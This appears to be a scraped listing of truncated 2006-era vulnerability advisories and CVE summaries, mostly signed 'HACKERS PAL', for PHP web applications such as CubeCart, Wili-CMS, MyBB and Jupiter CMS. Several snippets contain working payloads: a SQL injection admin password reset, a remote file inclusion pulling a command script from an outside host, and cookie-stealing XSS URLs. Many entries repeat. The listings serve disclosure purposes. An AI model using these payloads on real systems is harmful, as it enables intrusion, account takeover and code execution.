PHP Top webs (config.php) Remote File Inclue Vulnerability

===================================================================== PHP Top webs config.php Remote File Inclue Vulnerability ===================================================================== Author : Le CoPrA ===================================================================== Download...

CubeCart.txt

Hello,, CubeCart Multiple input Validation vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Sql injection admin/forgotpass.php?submit=1&username=-1'or%201=1/ it will reset the password for the administrator --...

Wili-CMS.txt

Hello,, Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

CubeCart Multiple input Validation vulnerabilities

Hello,, CubeCart Multiple input Validation vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Sql injection admin/forgotpass.php?submit=1&username=-1'or201=1/ it will reset the password for the administrator --...

Wili-CMS Multiple Input Validation Vulnerabilities

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

Wili-CMS Multiple Input Validation Vulnerabilities

Hello,, Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...

Wili-CMS <= 0.1.1 (include/xss/full path) Remote Vulnerabilities

No description provided by source. Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...

Wili-CMS 0.1.1 - Remote File Inclusion / Cross-Site Scripting / Full Path Disclosure

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure

source: https://www.securityfocus.com/bid/20139/info CA eTrust Security Command Center eSCC and eTrust Audit are prone to multiple vulnerabilities, including: - an information-disclosure issue - an arbitrary-file-deletion issue - a replay issue. These vulnerabilities occur because the software...

MyBB 1.2 Full path and Cross site scripting vulnerabilities

Hello Title : MyBB 1.2 Full path and Cross site scripting vulnerabilities Discovered by : HACKERS PAL Copyrights : HACKERS PAL Website : WwW.SoQoR.NeT Email : [email protected] Full path inc/genericerror.php?message=1 inc/datahandlers/event.php inc/datahandlers/pm.php inc/datahandlers/post.php...

Limbo - Lite Mambo CMS Multiple Vulnerabilities

Hello Title : Limbo - Lite Mambo CMS Multiple Vulnerabilities Remote File including - Full path - make php shell - and create folder with 0777 permissions Discovered by : HACKERS PAL Copyrights : HACKERS PAL Website : WwW.SoQoR.NeT Email : [email protected] // Remote File Including...

MyBB Full path and Cross site scripting vulnerabilities

Hello Title : MyBB Full path and Cross site scripting vulnerabilities Discovered by : HACKERS PAL Copyrights : HACKERS PAL Website : WwW.SoQoR.NeT Email : [email protected] xss archive/index.php/forum-4.html?GLOBALS=1&navbitsname=33&navbitsname=scriptalertdocument.cookie;/script full path...

jupiterCMS-sql.txt

Hello,, Jupiter CMS Sql injections ,full path and xss vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] if magicquotesgpc = off login with user name : ' or id=1/ or ' or authorization = 4/ you will be loged in...

mybbxss.txt

Hello Title : MyBB Full path and Cross site scripting vulnerabilities Discovered by : HACKERS PAL Copyrights : HACKERS PAL Website : WwW.SoQoR.NeT Email : [email protected] xss archive/index.php/forum-4.html?GLOBALS=1&navbitsname=33&navbitsname=alertdocument.cookie; full path inc/plugins/hello.p...

CVE-2006-4837

CVE-2006-4837 affects DCP-Portal SE 6.0. The issue is described as multiple PHP remote file inclusion vulnerabilities allowing an attacker to execute arbitrary PHP code via a URL in the root parameter of two scripts: library/lib.php and library/editor/editor.php. A related behavior can trigger fu...

ADOdb Date Library Full path Bugs

Hello,, ADOdb Date Library, part of the ADOdb abstraction library Full path bugs Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] ADOdb Date Library, part of the ADOdb abstraction library Full path adodb/server.php...

CVE-2006-4754

Cross-site scripting XSS vulnerability in index.php in PHProg before 1.1 allows remote attackers to inject arbitrary web script or HTML via the album parameter, which is used in an opendir call. NOTE: the same primary issue can be used for full path disclosure with an invalid parameter that revea...

CVE-2006-4754

PHProg before 1.1 has a Cross-site Scripting (XSS) flaw in index.php, exploitable via the album parameter used in an opendir call. The same issue can enable full path disclosure with an invalid album value that reveals the installation path in error messages. Affected software: PHProg versions pr...

CVE-2006-4754

Cross-site scripting XSS vulnerability in index.php in PHProg before 1.1 allows remote attackers to inject arbitrary web script or HTML via the album parameter, which is used in an opendir call. NOTE: the same primary issue can be used for full path disclosure with an invalid parameter that revea...